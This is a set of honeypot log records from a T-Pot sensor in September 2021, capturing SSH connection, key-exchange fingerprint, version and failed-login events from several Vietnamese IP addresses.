21492	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.415805+03	2021-09-20 14:15:03.734613+03	{"_id": "oAbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dbae079c7f08", "@version": "1", "timestamp": "2021-09-20T11:06:56.415805Z", "@timestamp": "2021-09-20T11:06:56.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21493	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:56.726338+03	2021-09-20 14:15:03.735613+03	{"_id": "oQbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8c86d8ce77a3", "@version": "1", "duration": 2.7749156951904297, "timestamp": "2021-09-20T11:06:56.726338Z", "@timestamp": "2021-09-20T11:06:56.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21494	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:56.800211+03	2021-09-20 14:15:03.737613+03	{"_id": "ogbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test123/test123] failed", "session": "25de37ec5487", "@version": "1", "password": "test123", "username": "test123", "timestamp": "2021-09-20T11:06:56.800211Z", "@timestamp": "2021-09-20T11:06:56.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21495	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:52.172969+03	2021-09-20 14:15:03.738613+03	{"_id": "aQbjAnwBvYTbRNuEJAPU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1483539338703649, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40944, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.172969Z", "@timestamp": "2021-09-20T11:06:52.172Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21496	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.373904+03	2021-09-20 14:15:03.739612+03	{"_id": "dQbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58698 (192.168.176.2:22) [session: 43fb8879e29f]", "session": "43fb8879e29f", "@version": "1", "protocol": "ssh", "src_port": 58698, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.373904Z", "@timestamp": "2021-09-20T11:06:52.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21497	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.353856+03	2021-09-20 14:15:03.740613+03	{"_id": "dgbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a9a997c4a94a", "@version": "1", "timestamp": "2021-09-20T11:06:52.353856Z", "@timestamp": "2021-09-20T11:06:52.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21498	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.455375+03	2021-09-20 14:15:03.741614+03	{"_id": "dwbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b37b4f7e599f", "@version": "1", "timestamp": "2021-09-20T11:06:52.455375Z", "@timestamp": "2021-09-20T11:06:52.455Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21518	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.376523+03	2021-09-20 14:15:03.764644+03	{"_id": "nwbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "43fb8879e29f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:52.376523Z", "@timestamp": "2021-09-20T11:06:52.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21499	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.651228+03	2021-09-20 14:15:03.742613+03	{"_id": "eAbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "43fb8879e29f", "@version": "1", "timestamp": "2021-09-20T11:06:52.651228Z", "@timestamp": "2021-09-20T11:06:52.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21500	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.669464+03	2021-09-20 14:15:03.743614+03	{"_id": "eQbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "aa9bc632d545", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:52.669464Z", "@timestamp": "2021-09-20T11:06:52.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21501	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.75781+03	2021-09-20 14:15:03.744612+03	{"_id": "egbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "018cda16fdf7", "@version": "1", "duration": 2.5088257789611816, "timestamp": "2021-09-20T11:06:52.757810Z", "@timestamp": "2021-09-20T11:06:52.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21502	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.928578+03	2021-09-20 14:15:03.745612+03	{"_id": "ewbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "83979a6e8f5e", "@version": "1", "duration": 2.457392454147339, "timestamp": "2021-09-20T11:06:52.928578Z", "@timestamp": "2021-09-20T11:06:52.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
